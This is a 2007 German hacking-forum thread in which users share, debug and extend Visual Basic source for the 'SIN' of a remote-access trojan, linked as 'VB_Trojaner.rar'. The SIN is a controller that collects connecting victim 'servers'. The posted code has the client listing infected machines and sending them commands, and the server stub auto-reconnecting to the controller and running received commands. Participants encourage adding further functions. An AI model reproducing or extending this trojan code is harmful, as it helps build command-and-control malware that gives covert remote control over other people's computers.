|
| Autor |
Nachricht |
opactium_
Tutorial Leser
Anmeldedatum: 13.10.2007
Beiträge: 20
|
[B] Sin-Code-Source
Verfasst am: 19.11.2007, 19:58 |
|
|
hallo zusammen
ich habe mir 10min zeit genommen, und ne absolut unkomplizierte SIN gemacht. jede einzelne Zeile habe ich ausfuehrlich kommentiert, sollte also fuer euch kein problem sein, daraus was sauberes zu machen.
da ich das ganze moeglichst einfach und schlicht halten wollte, habe ich das ganze mit nur einem winsock element geproggt. das reicht aber vollkommen.
folgende sachen ueberzeugen:
-Nur 1 winscok element. (ressourcen sparen)
-Fuegt server automatisch der SIN hinzu
-loescht bei disconnect den server automatisch aus der sin
-server reconnected automatisch
-extrem leicht verstaendlich code
-sehr stabil (habe es mit 50servern getestet, war absolut kein problem)
-leicht erweiterbar
-nutzt winsock array
-leicht erweiterbar. jeder kann also selber ganz leicht funktionen adden
-neu jetzt auch mit msgbox senden
so hoffe jemand kann das gebrauchen.
MfG
nur SIN => http://rapidshare.com/files/70855427/VB_trojaner.rar.html
SIN + MsgBox => http://rapidshare.com/files/71118613/VB_Trojaner.rar.html
Zuletzt bearbeitet von opactium_ am 20.11.2007, 22:18, insgesamt einmal bearbeitet |
|
| |
|
 |
killer110_
Poster
Anmeldedatum: 16.04.2007
Beiträge: 165
|
Verfasst am: 19.11.2007, 20:09 |
|
|
YEAHHHHHH!!! Kann ich perfekt gebrauchen^^ Werds mihr auf jeden Fall mal angucken!
Feedback kommt..
 |
|
| |
|
|
Blue!Sky!_
Coder
Anmeldedatum: 06.10.2007
Beiträge: 227
|
Verfasst am: 19.11.2007, 20:54 |
|
|
Einfach aber geil ! thx
mfg |
|
| |
|
|
killer110_
Poster
Anmeldedatum: 16.04.2007
Beiträge: 165
|
Verfasst am: 20.11.2007, 14:17 |
|
|
ok! is sehr nice! Aber wie kann ich nun zu einer bestimmten selektierten ip zb "hallo" senden!
|
|
| |
|
|
Tix_
Tutorial Leser
Anmeldedatum: 08.06.2007
Beiträge: 51
|
Verfasst am: 20.11.2007, 16:31 |
|
|
Meld dich mal Via Icq , thx !
618-916 |
|
| |
|
|
opactium_
Tutorial Leser
Anmeldedatum: 13.10.2007
Beiträge: 20
|
Verfasst am: 20.11.2007, 22:16 |
|
|
@Tix
wiso denn? hab keinen bock auf free support geben 
also da die frage aufgetaucht ist, habe ich zu dem client und dem server noch ne msgbox funktion hinzugefuegt.
ich habe das so gestaltet, dass ihr das kinderleicht erweitern koennt.
ich muss das glaub ich nicht erklaeren, das sollte jeder selber koennen.
HavE FuN!!
http://rapidshare.com/files/71118613/VB_Trojaner.rar.html |
|
| |
|
|
exe-cute_
Poster
Anmeldedatum: 21.10.2007
Beiträge: 154
|
Verfasst am: 08.12.2007, 23:34 |
|
|
ich würd ma sagen, dein source hat nen bug.
und zwar folgenden:
wenn du den server startest...hab ich so 7, 8 mal gemacht
dann einen schließt, nen neuen startet funzt es nicht
und zwar in der function neuen server hinzufügen...
.... |
|
| |
|
|
kackb00n_
Tutorial Leser
Anmeldedatum: 07.12.2007
Beiträge: 42
|
Verfasst am: 11.12.2007, 16:18 |
|
|
| jo, das ist bei mir auch buggy... Wer hilft?? |
|
| |
|
|
exe-cute_
Poster
Anmeldedatum: 21.10.2007
Beiträge: 154
|
Verfasst am: 11.12.2007, 17:11 |
|
|
das liegt daran, das ein falscher index zugewiesen wird.
so 2 mins den ssource nommal angeguggt..
also
der listview soll ein item hinzugefügt werden.
jedoch mit dem index : winsock.cout
wenn sich erin server schließt, schließt sich das winsock auch, bleibt jedoch bestehen...
sprich die anzahl der winsocks verändert sich nicht, nachdem ein winsock geschloosen wird
wenn jetzt ein neuer server in die sin kommt, soll der eintrag in der listview den index (winsock.cout) zugewessen werden
das is der fehler...
keine große sache...
da du nun weiß wo der fehler ist..
mfg |
|
| |
|
|
kackb00n_
Tutorial Leser
Anmeldedatum: 07.12.2007
Beiträge: 42
|
Verfasst am: 11.12.2007, 17:39 |
|
|
sry aber ich checks echt nicht mit dem index und so...
Wieso steht da index - 1 und so?
Kannst du mir den verbesserten code-schnipsel mal schreibn?
Das wäre nett, hab bis jetzt die ganze zeit rum probiert aber nix rum gekommen.
Danke!! |
|
| |
|
|
slayer616_
Coder
Anmeldedatum: 16.05.2007
Beiträge: 90
|
Verfasst am: 11.12.2007, 19:52 |
|
|
KACKBOON du bist ein KACKboon wenn du das mit dem index nicht mal verstehst lass es sein!
1337Source+1337Source+1337Source=1337TROJAN |
|
| |
|
|
Viktor
« Webmaster »
Anmeldedatum: 08.12.2006
Beiträge: 354
Wohnort: Berlin
|
Verfasst am: 11.12.2007, 20:04 |
|
|
| 1. Verwarnung für dich, andere User werden hier nicht beleidigt! |
|
| |
|
|
exe-cute_
Poster
Anmeldedatum: 21.10.2007
Beiträge: 154
|
Verfasst am: 11.12.2007, 22:33 |
|
|
nutze einfach die andere sin...die hat keinen bug...
meine reserve connection habe ich eh ganz anders...
oder heir...
hab fast die ganzen clienten umgeschriben
5 mins hats gedauert...nun klappt es auch mit den nachbarn
nutze einfach den gleichen server...
Downlaod:
http://lalalulu.la.ohost.de/557dd672-client.rar
Der Fehler:
Der index des listviewItems sollte den gleichen index des winsocks haben.
Nur der coder hat nicht beachtet, das sich ein winsock schließen könnte.
in diesem source wird dann ein weiteres winsock geladen.
jetzt passt der index des items der listview nicht mehr zum index des winsocks.
Lag vieleicht an den "10" minuten für die reserve connection, obwohl ich mir nicht vorstellen kann die einfach in 10 minuten zu coden.
MfG
exe-cute |
|
| |
|
|
Crusader_
Tutorial Leser
Anmeldedatum: 08.06.2007
Beiträge: 54
|
Verfasst am: 11.12.2007, 23:50 |
|
|
könntest du nicht noch nen beispiel einbauen wie man wieder was zurücksendet zum client ? bin immer noch nicht drauf gekommen wies funktioniert  |
|
| |
|
|
exe-cute_
Poster
Anmeldedatum: 21.10.2007
Beiträge: 154
|
Verfasst am: 11.12.2007, 23:59 |
|
|
Server - DataArrival
winsock1.senddata "Server sendet an Client"
client - DataArrival
winsock(index).getdata gData
msgbox gData
hoffe das reicht...(den rest kannste sicherlich selber...)
hab den source garnicht mehr auf der platte.....
MfG |
|
| |
|
|
Crusader_
Tutorial Leser
Anmeldedatum: 08.06.2007
Beiträge: 54
|
Verfasst am: 12.12.2007, 00:14 |
|
|
kk sag mir mal bitte was ich anders machen muss , ich komm damit echt ned klar
Client:
| Code: | 'hab die reserve connection von opactium mal umgeschrieben.....
'jetzt kannste auch wieder neue server nachjem löschen aufnehmen
'ich glaub der source is nun auch kleiner :D
'MfG
'exe-cute
Dim FreeIndex As Integer
Private Sub cmdlisten_Click() 'wen button geklickt
cmdlisten.Enabled = False 'deaktiviere button (sonst gibts error)
Winsock1(0).LocalPort = txtport.Text 'setze den winsock port auf den port vom textfeld
Winsock1(0).Listen 'listen auf den port
End Sub 'wende wenn button geklickt
Private Sub lstview_DblClick() 'wenn auf ein elemnt doppelgeklickt wird
Dim ans As String 'string ans definieren
ans = InputBox("Bitte den Text eingeben, der dann in der MsgBox steht!", "MsgBox") 'inputbpx fuer den text oeffnen und resultat in ans speichern
Winsock1(lstview.SelectedItem.SubItems(1)).SendData "MsgBox#" & ans 'befehl an server senden ueber das zugehoerige winsock element.
End Sub 'ende wenn auf ein elemnt doppelgeklickt wird
Private Sub Command1_Click()
Winsock1(lstview.SelectedItem.SubItems(1)).SendData "MsgBox#"
End Sub
Private Sub Form_Load()
ListView1.ColumnHeaders.Add , , "IP"
ListView1.ColumnHeaders.Add , , "Index"
ListView1.ColumnHeaders.Add , , "LocalPort"
ListView1.ColumnHeaders.Add , , "RemotePort"
End Sub
Private Sub Winsock1_Close(Index As Integer)
Dim x As Integer
For x = 1 To ListView1.ListItems.Count
If ListView1.ListItems.Item(x).SubItems(1) = Index Then
ListView1.ListItems.Remove (ListView1.ListItems.Item(x).Index)
End If
Next x
End Sub
Private Sub Winsock1_ConnectionRequest(Index As Integer, ByVal requestID As Long)
Dim AddServerToLstv As Object
FreeIndex = FreeIndex + 1
Load Winsock1(FreeIndex)
Winsock1(FreeIndex).Accept requestID
Set AddServerToLstv = ListView1.ListItems.Add(, , Winsock1(Index).RemoteHostIP)
With AddServerToLstv
.SubItems(1) = FreeIndex
.SubItems(2) = Winsock1(FreeIndex).LocalPort
.SubItems(3) = Winsock1(FreeIndex).RemotePort
End With
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Winsock(Index).GetData gData
MsgBox gData
End Sub
|
Server:
| Code: | Private Sub Form_Click() 'wenn auf from geklickt
End 'beenden wenn in form geklickt
End Sub 'ende wenn auf form geklickt
Private Sub lblend_Click() 'wenn auf label geklickt
End 'beenden wenn auf schrift geklickt
End Sub 'ende wenn auf label geklickt
Private Sub tmrconnect_Timer() 'wenn 1sek vorbei ist
reconnect 'wenn 1sek vorbei, dann reconnect
End Sub 'ende wenn 1sek vorbei ist
Public Sub reconnect() 'start programmteil neu verbinden
If Winsock1.State <> sckConnected Then 'pruefen ob nicht schon verbunden wenn nicht weiter
Winsock1.Close 'zur sicherheit winsock schliessen
Winsock1.Connect "127.0.0.1", "896" 'neu connecten
End If 'ende der if abfrage
DoEvents 'auf andere sachen des server reagieren
End Sub 'ende programmteil neu verbinden
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) 'wenn daten ankommen
Dim daten As String 'daten definieren
Dim daten_split() As String 'daten_split definieren
Winsock1.GetData daten 'daten empfangen
daten_split = Split(daten, "#") 'empfange daten splitten
Select Case daten_split(0) 'erstes gesplitetes teil fuer select case nehmen
Case "MsgBox" 'wenn MsgBox dann
' MsgBox daten_split(1), vbCritical, "Server Messagebox" 'oeffne eine MsgBox mit dem ermpfangenen text
Winsock1.SendData "Server sendet an Client"
Case "usw." 'hier koennt ihr dann so wie oben weitermachen und die vom client empfangenen daten auswerten
End Select 'ende select case
End Sub 'ende wenn daten ankommen
|
|
|
| |
|
|
Blackey_
Newbie
Anmeldedatum: 09.12.2007
Beiträge: 9
|
Verfasst am: 13.12.2007, 16:54 |
|
|
| scheint unter vista nicht zu funktionieren (zumindest der client ;( ) |
|
| |
|
|
slayer616_
Coder
Anmeldedatum: 16.05.2007
Beiträge: 90
|
Verfasst am: 13.12.2007, 17:31 |
|
|
| warum?^^ |
|
| |
|
|
Crusader_
Tutorial Leser
Anmeldedatum: 08.06.2007
Beiträge: 54
|
Verfasst am: 13.12.2007, 20:06 |
|
|
hab vista und kann sagen der geht , hab mitlerweile das problem gelöst , dank exe-cute , also müsste eigentlich schon gehen 
mfg
Crusader
 |
|
| |
|
|
Registrieren
Login
